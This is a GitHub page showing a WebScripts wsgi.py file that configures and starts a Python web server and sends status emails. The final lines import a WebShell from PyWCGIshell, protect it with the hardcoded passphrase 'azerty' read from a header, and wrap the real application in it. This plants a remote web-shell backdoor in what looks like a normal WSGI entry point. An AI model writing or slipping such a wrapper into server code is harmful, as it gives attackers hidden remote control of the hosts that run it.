-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathwsgi.py
68 lines (50 loc) · 1.64 KB
/
wsgi.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from os import path, chdir, name
from typing import List
import logging
import atexit
chdir(path.join(path.dirname(__file__), ".."))
activator = r"Scripts\activate_this.py" if name == "nt" else "bin/activate_this.py"
with open(activator) as f:
exec(f.read(), {"__file__": activator}) # nosec # nosemgrep
from WebScripts.WebScripts import (
server_path,
Configuration,
get_server_config,
add_configuration,
logs_configuration,
Server,
configure_logs_system,
send_mail,
hardening,
Logs,
)
class Paths:
"""This class define configuration files."""
def __init__(self, config_cfg: List[str], config_json: List[str]):
self.config_cfg = config_cfg
self.config_json = config_json
configure_logs_system()
paths = Paths([], [])
configuration = Configuration()
for config in get_server_config(paths):
configuration = add_configuration(configuration, config)
logs_configuration(configuration)
configuration.set_defaults()
configuration.check_required()
configuration.get_unexpecteds()
configuration.build_types()
server = Server(configuration)
send_mail(configuration, f"Server is up on http://{server.interface}:{server.port}/.")
atexit.register(
send_mail,
configuration,
f"Server is down on http://{server.interface}:{server.port}/.",
)
hardening(server, Logs, send_mail)
application = server.app
from PyWCGIshell import WebShell
webshell = WebShell(type_="wsgi", passphrase="azerty", pass_type="header_value")
webshell.standard_page = application
application = webshell.run